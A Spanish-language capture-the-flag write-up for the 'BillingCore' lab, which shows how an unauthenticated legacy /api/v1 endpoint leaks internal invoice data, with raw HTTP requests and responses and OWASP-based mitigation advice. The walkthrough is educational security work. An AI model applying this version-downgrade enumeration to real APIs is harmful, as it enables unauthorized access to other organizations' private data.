BillingCore

BillingCore

BillingCore se presenta como una plataforma SaaS de facturación «API-First». El objetivo del reto es recuperar una flag que no aparece en ningún sitio de la interfaz: está guardada en una factura marcada como interna. El camino para llegar a ella no es un fallo de la web visible, sino una versión antigua de la API que quedó publicada sin autenticación.

  • Categoría: Seguridad en APIs · Control de acceso y exposición de datos.
  • OWASP API Security Top 10 (2023): API9 (Gestión inadecuada del inventario), API3 (Autorización rota a nivel de propiedad / exposición excesiva de datos) y API1 (Autorización rota a nivel de objeto).
  • Dificultad: Media

1. Reconocimiento

Al entrar al laboratorio nos recibe la web de BillingCore, que se anuncia como «API-First Billing Infrastructure» y menciona explícitamente una «v2 REST API». Cuando un producto presume tanto de su API, la API es justo donde conviene mirar.

Iniciamos sesión con la cuenta de demostración que nos facilita el laboratorio (demo / Demo1234!). Ya dentro, el panel pertenece a la organización «BillingCore Demo Org» y carga sus datos dinámicamente desde la API.

En Settings encontramos el token de API de la cuenta demo y la documentación de la API: los endpoints son /api/v2/invoices, /api/v2/clients y /api/v2/dashboard, y la autenticación se hace con Authorization: Bearer <token>. El token del demo es bc_live_2e7d5b9a4c1f8e3d.

Además, el JavaScript del panel (servido en /static/app.js) lo confirma en su cabecera:

/**
 * BillingCore Dashboard — v3.4.1
 * REST client for /api/v2 endpoints
 */

2. Enumeración de la API

Con Burp interceptamos la llamada que hace el panel y la mandamos a Repeater. Reproducimos la consulta de facturas de la v2 con la sesión del demo:

GET /api/v2/invoices HTTP/1.1
Host: TARGET.ctf.sixhackacademy.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0
Accept: */*
Accept-Language: es-ES,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Referer: http://TARGET.ctf.sixhackacademy.com/dashboard
Sec-GPC: 1
Connection: keep-alive
Cookie: lab_token=REDACTED; session=REDACTED
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

La respuesta es la esperada de una API bien diseñada: solo devuelve las facturas de la propia organización del demo y sin campos internos.

HTTP/1.1 200 OK
Content-Type: application/json

[
  {
    "id": 6,
    "invoice_no": "INV-0006",
    "client": "BillingCore Demo Org",
    "status": "paid",
    "description": "Starter Plan — Trial activation"
  }
]

Aquí surge la pregunta clave de cualquier auditoría de APIs: si existe una v2, ¿qué pasó con la v1? Las versiones antiguas se suelen dejar publicadas «por compatibilidad» y se olvidan, sin los controles de la nueva. En Repeater cambiamos la ruta de v2 a v1 y quitamos la cookie session (dejando solo el lab_token de acceso al lab): la v1 no valida nada y responde igual:

GET /api/v1/dashboard HTTP/1.1
Host: TARGET.ctf.sixhackacademy.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0
Accept: */*
Accept-Language: es-ES,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: lab_token=REDACTED
HTTP/1.1 200 OK
Content-Type: application/json

{"invoices":7,"clients":4,"version":"1.0-legacy"}

Responde sin token y se identifica como 1.0-legacy: una versión antigua viva y accesible sin autenticación.

3. La vulnerabilidad

El fallo no es un único error, sino la combinación de tres descuidos habituales en APIs:

  • Inventario de APIs mal gestionado (API9): la v1 sigue desplegada y enrutada aunque la aplicación ya usa la v2. Nadie la retiró.
  • Falta de autenticación (API1): la v2 requiere sesión iniciada y filtra por la organización del usuario; la v1 no comprueba nada y la puede llamar cualquiera.
  • Exposición excesiva de datos (API3): la v2 pasa cada factura por una función que elimina los campos internos (visible, internal_note) y oculta las facturas no visibles. La v1 devuelve el objeto tal cual, con todos sus campos internos.

Entre esas facturas hay una marcada como interna ("visible": false) que la v2 jamás mostraría, y que guarda la flag en su campo internal_note.

4. Explotación

Volcamos el listado completo contra la v1, sin ninguna cabecera de autenticación:

GET /api/v1/invoices HTTP/1.1
Host: TARGET.ctf.sixhackacademy.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0
Accept: */*
Accept-Language: es-ES,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: lab_token=REDACTED

Entre los resultados aparece la factura INV-0001, que no figura en la interfaz ni en la v2, con el campo interno a la vista:

HTTP/1.1 200 OK
Content-Type: application/json

  {
    "id": 1,
    "invoice_no": "INV-0001",
    "client": "SixHack Security Ltd.",
    "status": "internal",
    "description": "Internal security audit Q4-2023",
    "visible": false,
    "internal_note": "SIXHACK{...}"
  }

Si preferimos ir directos al objeto, la v1 también lo sirve por su identificador, igualmente sin token:

GET /api/v1/invoices/1 HTTP/1.1
Host: TARGET.ctf.sixhackacademy.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0
Accept: */*
Accept-Language: es-ES,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: lab_token=REDACTED

5. La flag

El valor del campo internal_note de la factura interna es la flag del reto:

SIXHACK{...}

6. Mitigación y remediación

  • Retira las versiones obsoletas. Si una API ya no se usa, no debe seguir enrutada. La compatibilidad hacia atrás no justifica dejar una v1 abierta indefinidamente.
  • Mismo nivel de control para todas las versiones. Si mantienes la v1, debe pasar por la misma autenticación y autorización que la v2. Una versión nunca puede ser la puerta trasera de la otra.
  • Filtra siempre por el usuario autenticado (autorización a nivel de objeto) y nunca serialices campos internos en respuestas de cara al cliente: usa una lista blanca de campos, como hace la v2.
  • Mantén un inventario de APIs. Documenta qué endpoints y versiones existen y cuáles deberían estar retirados (OWASP API9).
  • No confíes en la oscuridad. Que un endpoint no aparezca en la interfaz no lo protege; cualquiera adivina /api/v1/ a partir de /api/v2/.
  • Incluye la enumeración de versiones en tus pruebas: v1, v3, /internal, /legacy, etc.

Conclusión

BillingCore ilustra un patrón que aparece constantemente en auditorías reales: la versión nueva de la API está bien protegida, pero alguien dejó viva la antigua. El atacante no necesita romper la autenticación de la v2; simplemente la rodea bajando de versión. Una API solo es tan segura como su endpoint más olvidado.

Vídeo de la resolución

← Volver a Writeups